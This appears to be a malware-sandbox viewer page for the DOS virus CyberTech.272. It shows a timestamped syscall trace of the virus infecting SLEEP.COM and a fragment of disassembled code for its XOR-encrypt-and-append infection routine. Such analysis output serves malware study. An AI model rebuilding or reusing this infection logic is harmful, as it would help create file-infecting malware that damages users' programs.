Sample viewer

vx.netlux.org/Virus.DOS.CyberTech.272

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:50:33.018863066Z 26 PC: 21e72 | Set disk transfer address
2018-12-17T22:50:33.020947016Z 78 PC: 21e7c | Find first file
2018-12-17T22:50:33.027558479Z 67 PC: 21e89 | Get or set file attributes
2018-12-17T22:50:33.033765632Z 67 PC: 21e91 | Get or set file attributes
2018-12-17T22:50:33.051988137Z 61 PC: 21e96 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:50:33.059401047Z 87 PC: 21e9c | Get or set file date and time
2018-12-17T22:50:33.060892211Z 63 PC: 21ea9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:50:33.06856183Z 66 PC: 21ecf | Move file pointer
2018-12-17T22:50:33.070039599Z 44 PC: 21ee2 | Get time 0x21ee2: mov byte ptr cs:[bp + 0x17], dl
0x21ee7: lea si, word ptr [bp + 3]
0x21eeb: mov di, 0xfd00
0x21eee: mov cx, 0x18
0x21ef1: rep movsb byte ptr es:[di], byte ptr [si]
0x21ef3: lea si, word ptr [bp + 0x1b]
0x21ef7: mov cx, 0xf8
0x21efa: lodsb al, byte ptr [si]
0x21efb: xor al, dl
0x21efd: stosb byte ptr es:[di], al
0x21efe: loop 0x21efa
0x21f00: mov ah, 0x40
0x21f02: mov dx, 0xfd00
0x21f05: mov cx, 0x110
0x21f08: int 0x21
0x21f0a: mov ax, 0x4200
0x21f0d: call 0x31ec9
0x21f10: mov ah, 0x40
0x21f12: lea dx, word ptr [bp + 0x106]
0x21f16: mov cx, 4
2018-12-17T22:50:33.072384656Z 64 PC: 21f0a | Write file or device (Write 272 bytes on handle 5)
2018-12-17T22:50:33.082033752Z 66 PC: 21ecf | Move file pointer
2018-12-17T22:50:33.087518695Z 64 PC: 21f1b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:50:33.094736776Z 87 PC: 21f34 | Get or set file date and time
2018-12-17T22:50:33.096847083Z 62 PC: 21f38 | Close file
2018-12-17T22:50:33.105480573Z 67 PC: 21f41 | Get or set file attributes
2018-12-17T22:50:33.116387861Z 26 PC: 21f25 | Set disk transfer address
2018-12-17T22:50:33.11813818Z 9 PC: 12a85 | Display string (String= 'S ')
2018-12-17T22:50:33.124316894Z 0 PC: 12a89 | Program terminate